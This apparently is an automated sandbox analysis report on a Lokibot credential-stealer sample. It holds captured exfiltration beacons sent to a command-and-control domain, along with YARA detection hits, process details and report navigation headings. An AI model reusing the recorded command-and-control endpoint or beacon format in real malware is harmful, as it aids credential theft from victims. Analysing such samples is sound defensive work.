Dec 2, 2020 11:53:28.995225906 CET	1381	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:29.048046112 CET	1381	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:29.124566078 CET	1383	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	49840	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:29.419858932 CET	1385	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:29.472934961 CET	1385	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:29.546129942 CET	1390	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108 Parent PID: 5832

General

Start time:	11:52:28
Start date:	02/12/2020
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe'
Imagebase:	0xec0000
File size:	667648 bytes
MD5 hash:	2AAA15E28835FEDA9A2E223D82DB2126
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852 Parent PID: 7108

General

Start time:	11:52:38
Start date:	02/12/2020
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x8e0000
File size:	667648 bytes
MD5 hash:	2AAA15E28835FEDA9A2E223D82DB2126
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.480912778.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000002.607799523.0000000000E68000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.476321253.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.452594690.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.549778212.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.546020230.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.414092067.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.491795139.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.562835408.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.563787570.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.481769783.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.474650127.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.477261856.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.529649981.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.480003007.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.485355648.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.479061979.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.446798245.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.450970355.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.490732616.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.446675906.0000000000E7D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.519148526.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.472912647.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.565557733.0000000000E7D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.517673183.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.396032754.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.560853517.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.419428408.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.535977726.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.486325651.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.493532930.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.533197865.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.420351505.0000000000E7D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.532205941.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.416818180.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.489824103.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.450013817.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.488133602.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.20770

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Lokibot

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers